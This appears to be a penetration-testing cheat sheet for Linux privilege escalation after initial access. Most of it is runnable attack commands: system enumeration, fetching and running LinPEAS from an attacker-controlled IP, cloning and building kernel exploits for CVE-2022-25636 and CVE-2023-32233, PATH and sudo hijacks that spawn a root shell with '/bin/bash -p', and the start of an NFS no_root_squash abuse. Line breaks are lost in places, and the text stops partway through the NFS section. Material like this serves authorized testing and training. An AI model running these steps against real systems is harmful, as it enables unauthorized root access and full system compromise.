Escalate privileges on Linux systems through misconfigurations, SUID binaries, sudo abuse, kernel exploits, and weak file permissions. This phase follows initial access and aims to gain root-level access for complete system compromise.
Quick Enumeration Commands
Foothold Commands (Run First)
whoami id hostname uname -a sudo -l env echo$PATH ip a cat /etc/hosts cat /etc/os-release ps aux --sort=-%cpu | head -n 20 w lastlog
System Information
# OS and kernel version uname -r cat /etc/os-release lsb_release -a
# CPU information lscpu
# Mounted drives and file systems lsblk df -h cat /etc/fstab mount
# Network configuration ip a route -n arp -a cat /etc/resolv.conf ss -tulpen netstat -tulpen
Automated Enumeration Tools
LinPEAS
# Download and run wget http://10.10.14.5/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
# List installed packages apt list --installed | tr"/"" " | cut -d" " -f1,3 | sed 's/[0-9]://g' > installed_pkgs.list
# Check against GTFOBins for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d'); do if grep -q "$i" installed_pkgs.list; then echo"Check GTFO for: $i" fi done
# Affects kernels 5.4 to 5.6.10 git clone https://github.com/Bonfee/CVE-2022-25636.git cd CVE-2022-25636 make ./exploit
CVE-2023-32233
# Affects kernels up to 6.3.1 git clone https://github.com/Liuk3r/CVE-2023-32233 cd CVE-2023-32233 gcc -Wall -o exploit exploit.c -lmnl -lnftnl ./exploit
PATH Hijacking
Check PATH Variable
echo$PATH
# If PATH contains writable directory or current directory (.) # Create malicious binary with common name cat > /tmp/ls << EOF #!/bin/bash /bin/bash -p EOF chmod +x /tmp/ls
# If /tmp is in PATH before /bin export PATH=/tmp:$PATH ls# Executes malicious /tmp/ls
Hijack Binary in Sudo Context
# If sudo -l shows a script that calls binaries without full path # Example: sudo /usr/local/bin/backup.sh (which calls "tar") cat > /tmp/tar << EOF #!/bin/bash /bin/bash -p EOF chmod +x /tmp/tar export PATH=/tmp:$PATH sudo /usr/local/bin/backup.sh
NFS Root Squashing
Check NFS Exports
# On target cat /etc/exports showmount -e localhost
# Look for no_root_squash option
Exploit no_root_squash
# On attacker machine (as root) mkdir /tmp/nfs mount -t nfs target:/share /tmp/nfs